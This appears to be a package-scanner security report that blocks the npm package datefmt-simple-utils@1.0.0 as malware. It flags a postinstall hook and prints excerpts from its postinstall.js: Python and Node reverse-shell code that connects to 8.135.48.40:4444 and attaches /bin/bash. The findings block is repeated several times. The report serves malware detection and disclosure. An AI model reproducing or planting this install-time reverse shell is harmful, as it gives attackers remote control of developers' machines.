datefmt-simple-utils@1.0.0: Malicious npm security report (Block)

Loading npm security reports…

datefmt-simple-utils@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync } = require('child_process'); L2: const net = require('net'); L3: const { spawn } = require('child_process'); ... L9: try { L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000}); L11: } catch(e) { ... L20: c.pipe(sh.stdin); L21: sh.stdout.pipe(c); L22: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: const { execSync } = require('child_process'); L2: const net = require('net'); L3: const { spawn } = require('child_process'); ... L9: try { L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000}); L11: } catch(e) { ... L20: c.pipe(sh.stdin); L21: sh.stdout.pipe(c); L22: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = e84387b37508b330 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = datetime-fmt-xutil@1.0.1 matchedPath = postinstall.js matchedIdentity = npm:ZGF0ZXRpbWUtZm10LXh1dGls:1.0.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

18var c = net.connect(PORT, VPS, function() { var sh = spawn('/bin/bash', ['-i']); c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);

High

Suspicious Lifecycle Evidence

postinstall.js opens a socket to 8.135.48.40:4444 and attaches it to /bin/bash.

postinstall.jsView on unpkg · L18

9try { execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000}); } catch(e) { // 方式2: python3 subprocess（备选） try { execSync(`python3 -c 'import subprocess,socket,os;s=socket.socket();s.connect(("${VPS}",${PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'`, {timeout: 300000});

High

Ai Review Evidence

Two execSync Python reverse-shell fallbacks run before the native Node fallback.

postinstall.jsView on unpkg · L9

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

18var c = net.connect(PORT, VPS, function() { var sh = spawn('/bin/bash', ['-i']); c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);

High

Suspicious Lifecycle Evidence

postinstall.js opens a socket to 8.135.48.40:4444 and attaches it to /bin/bash.

postinstall.jsView on unpkg · L18

High

Ai Review Evidence

Two execSync Python reverse-shell fallbacks run before the native Node fallback.

postinstall.jsView on unpkg · L9

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

18var c = net.connect(PORT, VPS, function() { var sh = spawn('/bin/bash', ['-i']); c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);

High

Suspicious Lifecycle Evidence

postinstall.js opens a socket to 8.135.48.40:4444 and attaches it to /bin/bash.

postinstall.jsView on unpkg · L18

High

Ai Review Evidence

Two execSync Python reverse-shell fallbacks run before the native Node fallback.

postinstall.jsView on unpkg · L9

datefmt-simple-utils@1.0.0

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code